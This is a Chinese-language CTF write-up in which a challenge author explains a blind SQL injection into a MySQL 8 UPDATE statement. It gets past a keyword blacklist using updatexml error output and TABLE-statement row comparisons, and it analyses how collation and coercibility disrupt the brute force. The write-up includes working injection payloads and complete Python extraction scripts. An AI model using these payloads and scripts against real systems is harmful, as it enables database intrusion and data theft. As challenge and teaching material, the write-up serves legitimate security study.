前言

不知不觉是给羊城杯出题的第四年了,这次出题的契机是在某次攻防演练中发现的真实场景下的mysql盲注,后面虽然因为时间原因加上数据量过大没来得及爆出有价值的数据错失很多分,但是捣鼓完整理过程发现真感觉像在打CTF题,所以也是尽量模拟当时的实际情况出了这道web。

然后又在出题过程中发现排序规则上的一些问题(审wp时发现部分师傅也遇到了),花了一段时间研究了一下,也算是有点收获。

解题步骤

首先平台有两个功能,查询和更新,查询功能无法控制参数,因此直接看更新功能

更新存在两个可输入参数,通过测试发现使用单引号闭合,且报错信息包含了完整的更新语句

2025ycb_update_it_1

update ycb_user set username='xxx' where open_id='xxx'

通过fuzz发现过滤了一些sql注入常用关键词和符号,包括 select 语句

$BLACKLIST_KEYWORDS = [
    'select',
    'insert',
    'delete',
    'drop',
    'alter',
    'create',
    'union',
    'where',
    'value',
    'sleep',
    'benchmark',
    'load_file',
    'outfile',
    'dumpfile',
    'group',
    'order',
    'handler',
    'into',
    'and',
    'or',
    'row',
    '--',
    '#',
    '/*',
    '*/',
    '&',
    '$',
    '%',
    '+'
];

通过报错注入+手动闭合引号,可以得到数据库版本为8.0.35

1'||updatexml(1,concat(0x7e,(version()),0x7e),1)||'

2025ycb_update_it_2

mysql 8 高版本可以用 table 语句实现查询功能,因此可以尝试代替 select 进行查询

table test.users;
# 等价于
select * from test.users;

因为 table 查询会返回所有列数,且不支持 where 等过滤条件,因此可以尝试使用无列数按位爆破,配合 xpath 报错回显结果的差异比较进行判断

预期解法

爆数据库名

虽然可以通过database()和查询语句得到目前使用的数据库名和表名,但是在 mysql 中不支持在update的过程中同时查询同一个表,因此还是需要爆破数据库名看还有哪些数据库

2025ycb_update_it_3

爆数据库可以选择information_schema.schemata或者mysql.innodb_table_stats等表,以information_schema.schemata为例,数据库名在第二列,且第一列默认值为def

2025ycb_update_it_4

通过报错得到列数

2025ycb_update_it_5

接着通过报错注入,逐字符爆破第二列数据值,如图,可以判断第二列第一个字符为m

1'||updatexml(1,concat(0x7e,((table information_schema.schemata limit 0,1)>("def","n","","","","")),0x7e),1)||'

2025ycb_update_it_6
2025ycb_update_it_7

编写脚本,通过limit {_db_num},1爆破行数,("def","{_db_name}}","","","","")爆破字段值,因为前三行是系统数据库,所以可以从第四行开始爆

# 爆数据库
_db_num = 1
_r = ""
exclude_nums = {92} # 排除干扰字符
while 1:
    for i in range(45,127):
        if i not in exclude_nums:
            _i = chr(i)
            burp0_data = {"open_id": f"1'||updatexml(1,concat(0x7e,((table information_schema.schemata limit {_db_num+3},1)>(\"def\",\"{_r+_i}\",\"\",\"\",\"\",\"\")),0x7e),1)||'", "username": "a"}
            res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
            # print(res.text)
            match = re.search(r'~(\d)~', res.text)
            try:
                sta = match.group(1)
                # print(burp0_data)
                if sta == "0":
                    if chr(i-1) == ",":
                        print("第"+str(_db_num)+"个数据库名为:" + _r)
                        _db_num = _db_num + 1
                        _r = ""
                        break

                    _loc = chr(i-1)
                    _r = _r + _loc
                    print(_loc)
                    break
            except:
                exit()

2025ycb_update_it_8

爆破表名

得到simhoycb2025两个数据库,由于前面提到update无法同时查询自身数据库内容,因此从数据库simho入手

接着通过information_schema.tables爆表名

2025ycb_update_it_9

由于不知道tables表中行数与对应数据库对应关系,连系统数据库的表名一起爆较浪费时间,因此可以写脚本爆破每行的数据库前2位字符来确定对应的数据库,然后选出simho数据库对应的行数

或者通过limit判断表的总数,然后从后往前爆(针对数据库和表数量不多的情况)

1'||updatexml(1,concat(0x7e,((table information_schema.tables limit 333,1)>("def","a","","","","","","","","","","","","","2025-09-25 14:30:00","2025-09-25 14:30:00","2025-09-25 14:30:00","","","","")),0x7e),1)||'
# 注意部分字段类型为date

2025ycb_update_it_10
2025ycb_update_it_11

脚本爆破原理同前面一样,先从information_schema.tables表中第二列得到每一行对应的数据库名

_tb_num = 332
_r = ""
while 1:
    for i in range(45,127):
        if i not in exclude_nums:
            _i = chr(i)
            burp0_data = {"open_id": f"1'||updatexml(1,concat(0x7e,((table information_schema.tables limit {_tb_num},1)>(\"def\",\"{_r+_i}\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"2025-09-25 14:30:00\",\"2025-09-25 14:30:00\",\"2025-09-25 14:30:00\",\"\",\"\",\"\",\"\")),0x7e),1)||'", "username": "a"}

            res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
            # print(res.text)
            match = re.search(r'~(\d)~', res.text)
            try:
                sta = match.group(1)
                # print(burp0_data)
                if sta == "0":
                    if chr(i-1) == ",":
                        print("第"+str(_tb_num+1)+"行数据库名为:" + _r)
                        _tb_num = _tb_num - 1
                        _r = ""
                        break

                    _loc = chr(i-1)
                    _r = _r + _loc
                    # print(_loc)
                    break
            except:
                exit()

2025ycb_update_it_12

然后爆第三列表名

burp0_data = {"open_id": f"1'||updatexml(1,concat(0x7e,((table information_schema.tables limit {_tb_num},1)>(\"def\",\"simho\",\"{_r+_i}\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"2025-09-25 14:30:00\",\"2025-09-25 14:30:00\",\"2025-09-25 14:30:00\",\"\",\"\",\"\",\"\")),0x7e),1)||'", "username": "a"}

2025ycb_update_it_13

最终得到数据库simho存在f1ag,see33ccret,neko三个表,其中f1ag表中存放的是假flag,但是该表一共就一条数据,真正的flag存放在see33ccret表中

爆破字段名

之后可以接着通过information_schema.columns爆字段名,通过字段名拿到 see33ccret 表第二个字段为s3cret

爆破字段值

也可以直接通过simho.see33ccret爆破字段内容(考虑到非实战业务场景,因此 see33ccret 表只设置了3个字段,方便爆破)

1'||updatexml(1,concat(0x7e,((table simho.see33ccret limit 3,1)>(4,"DAS","z")),0x7e),1)||'

2025ycb_update_it_14
2025ycb_update_it_15

继续写脚本爆破第二列字段,可以在第四行数据得到flag......吗?

mysql 排序の秘密

本地测试题目时,在最后爆破flag的过程中发现了一个严重的问题,我在s3cret列设置flag为DASCTF{test654321}

当脚本爆到第七位,即与{进行比较时,发现到/就停止了,也就是说这条查询语句的结果表明,/是比{大的

然后fuzz了一下不同字符与{的比较情况,发现这些字符的ascii值都比{小,但是比较结果出现有大于和小于的情况

2025ycb_update_it_16

那这样就没法通过前面的方式去爆破字段值(虽然也可以跳过{}去爆破括号内的内容),于是开始研究为什么会出现这种情况

当然大概率无非涉及两个因素——字符集(Char Set)与排序规则(Collation)

字符集在初始化sql中已设置为utf8mb4,那么就是看排序规则的问题,整理发现有两种常见排序规则:

  • 基于 ASCII 码值或简单的二进制值进行比较

    • 常见环境:MySQL 5.7 及以下,或手动指定了 _bin (Binary) 或 _general_ci 类规则
    • 典型 Collation:utf8mb4_general_cilatin1_swedish_cibinary
  • 基于 Unicode Collation Algorithm (UCA) 进行比较

    • 常见环境: MySQL 8.0+(默认配置)
    • 典型 Collation:utf8mb4_0900_ai_ci (MySQL 8.0 的默认规则)

基于上述排序规则开始验证,首先查看当前数据库连接使用的排序规则

SELECT @@collation_connection;

然后基于不同的Collation进行测试

本地:

2025ycb_update_it_17

题目环境:

2025ycb_update_it_18

发现排序规则确实会影响字符之间的比较,但是题目环境里进入 mysql 用语句查询的排序规则是latin1_swedish_ci,执行SELECT 'DASCTF{' > 'DASCTF>';结果为1,说明是按ascii比较的,而执行select ((table simho.see33ccret limit 3,1)>(4,"DASCTF>","1"));结果为0,说明是按UCA比较的,这是为什么呢?

2025ycb_update_it_19

遂请教大模型,得到了结论

影响一:Coercibility

首先说明这个影响因素主要是解答上述的问题,跟题目出现的问题不完全相关,原因待会再表

从底层的机制来看,字符集比较会涉及到优先级差异,以上面的情况为例,简单来说就是直接输入的字符串测试('DASCTF')和从表中查出来的数据(table simho...),使用了不同的排序规则。

MySQL 有一个叫做 Coercibility(强制性)的属性,决定了比较时谁听谁的

类型 Coercibility 值 优先级 说明
Explicit Collate 0 最高 使用 COLLATE 显式指定的规则
Column (列) 2 表定义时列的规则
System Constant 3 系统常量,其规则通常由服务器配置决定 (character_set_system)
Literal (常量字符串) 4 输入的 SQL 语句中的字符串,这一级的默认规则是由 Connection/Session 配置决定(@@collation_connection)

当执行SELECT 'DASCTF{' > 'DASCTF>';时,两边都是常量字符串,因此按连接的排序规则进行比较,这里为latin1_swedish_ci

当执行select ((table simho.see33ccret limit 3,1)>(4,"DASCTF>","1"));时,比较的左边类型是列(优先级 2),右边类型是常量(优先级 4),右边的优先级高,因此系统强制使用列的排序规则

使用SHOW FULL COLUMNS FROM simho.see33ccret;查看列的规则

2025ycb_update_it_20

到此一切都说的通了,最后再看一下使用UCA时各字符的值

SELECT HEX(WEIGHT_STRING(CONVERT('{' USING utf8mb4) COLLATE utf8mb4_0900_ai_ci));

2025ycb_update_it_21

可以看到从十六进制数值来看,确实是>大于}大于-

同理用原方法判断数字也会出现问题,因为数字在UAC中的数值比标点符号大,因此在判断9时不能用跟它的下一个ascii码字符进行比较

影响二:Connection Collation

虽然在题目环境中通过进入 mysql 查询@@collation_connection结果为latin1_swedish_ci,但是在测试时发现通过web中的sql语句查询@@collation_connection结果是不一样的

2025ycb_update_it_22

@@collation_connection 是一个系统变量,它的值取决于当前数据库连接(Session)的握手配置。所以通过mysql命令行连接,跟通过不同语言的数据库驱动去连接,其session是不一样的

以PHP为例,在web的数据库配置文件中指定了 charset 为utf8mb4,那么在执行mysqli_set_charset("utf8mb4")时,这个特定连接的 Session 变量 @@collation_connection 就变成了 utf8mb4_0900_ai_ci,这就导致了后面的比较都是基于UCA

接下来就是验证这个说法,前面提到,通过进入 mysql 用语句查询的排序规则是latin1_swedish_ci,且执行SELECT 'DASCTF{' > 'DASCTF>';结果为1

那么我将题目的查询语句改为SELECT 'DASCTF{' > 'DASCTF>';,通过访问web页面得到的查询结果为0,说明其确实是按照UCA比较的,通过web连接的collation确实与原本靶场环境的collation无关

2025ycb_update_it_23

总结

综上所述,mysql之间的比较不仅受当前数据库连接(Session)的@@collation_connection影响,在比较时还会根据两边的类型的优先级判断使用哪种排序规则(这是底层的机制,意味着会覆盖掉连接规则)

最后 EXP

那除了根据UCA字典顺序规则去比较外,最简单的方式是转为二进制字节进行比较,即使用BAINRY关键字

1'||updatexml(1,concat(0x7e,((table simho.see33ccret limit 3,1)>(4,bainry "DAS","z")),0x7e),1)||'

这样便能绕过 Collation 的规则限制,强制 mysql 使用 基于字节的比较

_r = ""
exclude_nums = {92}
while 1:
    # for i in _str:
    for i in range(45,127):
        if i not in exclude_nums:
            # print(i)
            if i == 126:
                exit()
            _i = chr(i)
            burp0_data = {"open_id": f"1'||updatexml(1,concat(0x7e,((table simho.see33ccret limit 3,1)>(4,BINARY \"{_r+_i}\",\"z\")),0x7e),1)||'", "username": "1"}
            res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
            # print(res.text)

            match = re.search(r'~(\d)~', res.text)
            try:
                sta = match.group(1)
                # print(burp0_data)
                if sta == "0":
                    if chr(i-1) == ",":
                        _r = ""
                        break

                    _loc = chr(i-1)
                    _r = _r + _loc
                    print(_loc)
                    break

            except:
                _r = _r + chr(i)
                print(_r)
                exit()
# DASCTF{test65321}

非预期解法

看了其他师傅的wp,发现可以利用报错注入函数配合localtime()now()直接回显字段值

1'||updatexml(1,concat(0x7e,((table simho.see33ccret limit 2,1)>(3,localtime(),"z")),0x7e),1)||'

2025ycb_update_it_24

该方法本质上是将该列与一个 DATETIME 类型进行强制比较,触发了 MySQL 的类型转换(Type Conversion)报错

而在 MySQL 的 STRICT 模式(现代默认配置)下,特别是在 UPDATE 语句中,如果发生了严重的类型转换失败,MySQL 会直接抛出 Error 并终止执行,并且导致解析失败的字符串也会在报错信息中展示

参考

MySQL :: MySQL 8.4 参考手册 :: 12.10.1 Unicode 字符集 - MySQL 数据库

评论已关闭。